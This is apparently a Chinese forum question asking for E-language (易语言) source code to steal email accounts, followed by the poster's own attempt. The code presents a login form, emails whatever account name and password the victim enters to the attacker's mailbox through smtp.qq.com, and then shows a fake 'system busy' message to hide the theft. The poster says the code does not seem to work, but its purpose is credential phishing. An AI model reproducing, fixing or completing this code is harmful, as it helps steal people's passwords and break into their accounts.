找一个易语言邮箱盗号的源码

就是登陆然后点了就会把密码发到你QQ上
我这个源码好像不对啊
.版本 2
.支持库 internet
.如果 (编辑框2.内容 ＝ “”)
    信息框 (“账号不能为空！”, 0, , )
.否则
    .判断开始 (编辑框1.内容 ＝ “”)
        信息框 (“密码不能为空！”, 0, , )
    .默认
        连接发信服务器 (“smtp.qq.com”, 25, “”, “”, )
        发送邮件 (“收到一个账号密码”, “帐号：” ＋ 编辑框2.内容 ＋ #换行符 ＋ “密码：” ＋ 编辑框1.内容 ＋ #换行符, “”, , , “你的邮箱账号”, )
        信息框 (“系统繁忙”, 0, , )